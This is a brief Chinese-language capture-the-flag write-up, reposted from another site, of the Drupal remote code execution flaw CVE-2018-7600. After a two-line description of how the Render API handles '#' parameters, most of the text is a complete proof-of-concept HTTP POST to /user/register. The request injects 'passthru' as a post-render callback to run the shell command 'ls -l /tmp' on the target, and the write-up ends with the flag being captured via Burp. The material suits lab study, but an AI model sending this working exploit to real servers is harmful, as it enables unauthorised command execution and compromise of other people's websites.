Drupal 远程代码执行漏洞(CVE-2018-7600)

caiH

本文转自https://zhishihezi.net/box/c7ecf406d93ed094559f1cd654950609
1. 漏洞描述

Drupal 在 3 月 28 日爆出一个远程代码执行漏洞，CVE 编号 CVE-2018-7600，通过对比官方的补丁，可以得知是请求中存在 # 开头的参数。Drupal Render API 对于 # 有特殊处理。

writeup

访问靶机地址

直接构造POC代码

1. POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
   
2. Host: 靶机地址
   
3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
   
4. Accept: application/json, text/javascript, */*; q=0.01
   
5. Accept-Language: en-US,en;q=0.5
   
6. Accept-Encoding: gzip, deflate
   
7. Referer: http://靶机地址/user/register
   
8. X-Requested-With: XMLHttpRequest
   
9. Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
   
10. Content-Length: 626
    
11. Connection: close
    
12. -----------------------------99533888113153068481322586663
    
13. Content-Disposition: form-data; name="mail[#post_render][]"
    
14. passthru
    
15. -----------------------------99533888113153068481322586663
    
16. Content-Disposition: form-data; name="mail[#type]"
    
17. markup
    
18. -----------------------------99533888113153068481322586663
    
19. Content-Disposition: form-data; name="mail[#markup]"
    
20. ls -l /tmp
    
21. -----------------------------99533888113153068481322586663
    
22. Content-Disposition: form-data; name="form_id"
    
23. user_register_form
    
24. -----------------------------99533888113153068481322586663
    
25. Content-Disposition: form-data; name="_drupal_ajax"

复制代码

放到burp中利用

成功获取到flag